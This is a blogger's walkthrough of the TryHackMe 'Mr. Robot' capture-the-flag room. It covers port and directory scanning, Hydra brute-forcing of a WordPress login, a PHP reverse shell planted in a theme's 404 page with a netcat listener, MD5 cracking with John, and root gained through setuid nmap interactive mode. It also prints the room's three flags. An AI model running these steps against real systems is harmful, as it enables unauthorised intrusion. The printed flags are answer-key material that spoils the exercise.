Try Hack Me - Mr. Robot

Based on the Mr. Robot show, can you root this box?

Mr. Robot

This is my first boot to root room on tryhackme.com and of course it caught my eye because it's based on everyone's favorite hacker TV series, Mr. Robot.

Once you connect to the Try Hack Me VPN and deploy the machine, you can get underway with the CTF.

Note: You'll see different target machine IP addresses in this write up because I either crashed the machine or forgot to keep it from timing out, and had to work on this in two sittings due to real life getting in the way.

Enumeration

Scan with nmap:

# Nmap 7.80 scan initiated Tue Sep 15 22:22:50 2020 as: nmap -v -A -oN nmap.log 10.10.49.29
Nmap scan report for 10.10.49.29
Host is up (0.083s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
Device type: general purpose|specialized|storage-misc|WAP|broadband router|printer
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (91%), Crestron 2-Series (89%), HP embedded (89%), Asus embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.6 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 3.10 - 3.13 (91%), Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.2 - 3.5 (90%), Linux 3.2 - 3.8 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Crestron XPanel control system (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.010 days (since Tue Sep 15 22:10:24 2020)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   12.52 ms 10.2.0.1
2   ... 3
4   1.89 ms  10.10.49.29

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 15 22:24:22 2020 -- 1 IP address (1 host up) scanned in 92.91 seconds

Summary:

Alright, so it's running a web server at the least, while we go take a look at that in a browser let's do some more enumeration with Nikto and Gobuster.

The site has a bunch of stylistic videos and images related to the show, but nothing obviously to target. Let's see what our scans return.

Scan with Nikto:

kali@kali:~/ctf/thm/mr_robot$ nikto -h 10.10.222.16 | tee nikto.log
  • Nikto v2.1.6--------------------------------------------------------------------------- + Target IP: 10.10.222.16 + Target Hostname: 10.10.222.16 + Target Port: 80 + Start Time: 2020-09-16 00:41:52 (GMT0) --------------------------------------------------------------------------- + Server: Apache + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.5.29 + ERROR: Error limit (20) reached for host, giving up. Last error: + Scan terminated: 15 error(s) and 3 item(s) reported on remote host + End Time: 2020-09-16 00:51:15 (GMT0) (563 seconds) --------------------------------------------------------------------------- + 1 host(s) tested

Summary: Apache web server, php

Scan with Gobuster:

kali@kali:~/ctf/thm/mr_robot$ gobuster dir -u http://10.10.222.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.222.16
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/16 00:43:31 Starting gobuster
===============================================================
<snip>
/login (Status: 302)
<snip>
/readme (Status: 200)
<snip>
/robots (Status: 200)

Gobuster found some paths and files: login, robots, readme. Browsing to the login path points out that this server is also running a Wordpress blog.

Check robots.txt

http://10.10.222.16/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

Well that was easy, one of the files listed in the robots.txt clearly looks like our first flag, and it is!

http://10.10.49.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

The other file is fsocity.dic which looks like a wordlist. I'm going to guess we're being handed this on a platter and that we can find a username and/or password in there.

Hydra to brute force wp-login

kali@kali:~/ctf/thm/mr_robot$ hydra -v -L fsocity.dic -p foo "http-post-form://10.10.134.1/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username:"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-15 23:20:48
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://10.10.134.1:80/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username:
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[80][http-post-form] host: 10.10.134.1   login: Elliot   password: foo

One thing that makes brute forcing username and password more feasible is being able to detect when you've found at least one of them. This reduces the number of attempts you'll have to make greatly. Because the website reports "Invalid username" when you've got an incorrect username and "The password you entered for the username is incorrect" when you've got a valid username but the wrong password, we can differentiate when we've found a valid username. Once we've found a username, we're hoping either the same wordlist contains the password, or we can use some of the commonly found wordlists with popular weak passwords.

My first attempt at getting the password was getting nowhere fast. I did a little research and saw some people groom their password lists by making sure all the entries are unique. It turns out the fsocity.dic file had a ton of duplicates, so cleaned it up and tried again:

kali@kali:~/ctf/thm/mr_robot$ sort fsocity.dic | uniq > fsocity_uniq.dic
kali@kali:~/ctf/thm/mr_robot$ wc -l fsocity.dic 
858160 fsocity.dic
kali@kali:~/ctf/thm/mr_robot$ wc -l fsocity_uniq.dic
11451 fsocity_uniq.dic

Then brute force the password from that cleaned up wordlist, note we've entered the found username and changed the pattern indicating a failure to be the word "incorrect".

kali@kali:~/ctf/thm/mr_robot$ hydra -V -l Elliot -P fsocity_uniq.dic "http-post-form://10.10.222.16/wp-login.php:log=^USER^&pwd=^PASS^:incorrect:"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-16 02:47:04

Readme

Just for completeness' sake, check out that readme path we found:

I like where you head is at. However I'm not going to help you. 

Getting a Shell

Now that we have a foothold with the credentials to log in to the wordpress site, we can work on getting a shell. There are a number of options, but uploading a php reverse shell is one of the easiest. We can replace one of the themed pages, like the 404 error page, with the php reverse shell code. Then we set up a netcat listener on our attacker machine, and finally execute the php on the server by going to a page we know won't be found (triggering the 404 page).

kali@kali:~/ctf/thm/mr_robot$ nc -v -n -l -p 4444
listening on [any] 4444 ...
connect to [10.2.41.105] from (UNKNOWN) [10.10.155.39] 50388
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 06:37:42 up 27 min,  0 users,  load average: 0.00, 0.01, 0.18
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ cd /home
$ ls
robot
$ cd robot
$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

We've got a shell, as daemon, and what looks like the second key and a juicy looking password file. We don't have permission to read the second key file just yet. We can read the password file, so let's grab that and see if we can crack it with John the Ripper

Crack the MD5 password with John the Ripper

kali@kali:~/ctf/thm/mr_robot$ man john
JOHN(8)                                                                                                System Manager's Manual                                                                                                JOHN(8)

NAME
       john - a tool to find weak passwords of your users

kali@kali:~/ctf/thm/mr_robot$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2020-09-18 17:19) 50.00g/s 2025Kp/s 2025Kc/s 2025KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
kali@kali:~/ctf/thm/mr_robot$ john --show password.md5 --format=Raw-MD5
robot:abcdefghijklmnopqrstuvwxyz

1 password hash cracked, 0 left

Not a very creative password, in fact it made me think maybe the crack was an error. Might as well give it a try. We spawn the reverse shell again and try it out:

$ sudo robot cat key-2-of-3.txt
sudo: no tty present and no askpass program specified

Ah, we've got to stabilize this shell to have a real tty. There are many options, but since this box has python installed, here's an easy python one liner;

$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt 
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

Privilege Escalation

Grab a copy of linpeas and start scanning for vulnerabilities. An easy way to do this is to use netcat to transfer the script to a writeable area. For some reason robot's home directory is owned by root and not writeable. We can use /run/shm as a temporary working area though.

Linpeas helpfully points out that nmap is available on the box and better yet, it's setuid! We can run it in interactive mode and execute commands:

robot@linux:/run/shm$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
!whoami
root

Cool, we're basically root now!

nmap> !ls /root
!ls /root
firstboot_done  key-3-of-3.txt
waiting to reap child : No child processes
nmap> !cat /root/key-3-of-3.txt
!cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
waiting to reap child : No child processes

And there we have it. All three flags captured and we got to use some really fun tools along the way.